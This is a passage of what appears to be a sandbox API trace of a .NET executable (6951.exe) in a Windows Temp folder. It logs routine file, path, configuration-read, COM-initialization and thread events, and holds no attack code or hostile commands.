"c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\6951.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x214 [0301.981] GetFileType (hFile=0x214) returned 0x1 [0301.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19eb00) returned 1 [0301.982] GetFileType (hFile=0x214) returned 0x1 [0303.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x19e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0303.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x19e628, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0303.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19ea88) returned 1 [0303.613] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19eb04 | out: lpFileInformation=0x19eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0303.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19ea84) returned 1 [0308.216] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x19e80c | out: pfEnabled=0x19e80c) returned 0x0 [0308.217] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x19e600, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0308.219] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", nBufferLength=0x105, lpBuffer=0x19e614, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe", lpFilePart=0x0) returned 0x31 [0308.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19eb08) returned 1 [0308.219] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\6951.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\6951.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0308.219] GetFileType (hFile=0x304) returned 0x1 [0308.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19eb04) returned 1 [0308.220] GetFileType (hFile=0x304) returned 0x1 [0308.220] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19ec10 | out: lpFileSizeHigh=0x19ec10*=0x0) returned 0xf5800 [0308.380] ReadFile (hFile=0x304, lpBuffer=0x31854d0, nNumberOfBytesToRead=0xf5800, lpNumberOfBytesRead=0x19ebbc, lpOverlapped=0x0) Thread: id = 156 os_tid = 0xb7c Thread: id = 158 os_tid = 0x430 Thread: id = 159 os_tid = 0xb40 [0293.144] CoGetContextToken (in: pToken=0x435fc3c | out: pToken=0x435fc3c) returned 0x800401f0 [0293.144] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0293.144] RoInitialize () returned 0x1 [0293.144] RoUninitialize () returned 0x0 Thread: id = 164 os_tid = 0x760 Thread: id = 165 os_tid = 0xfd4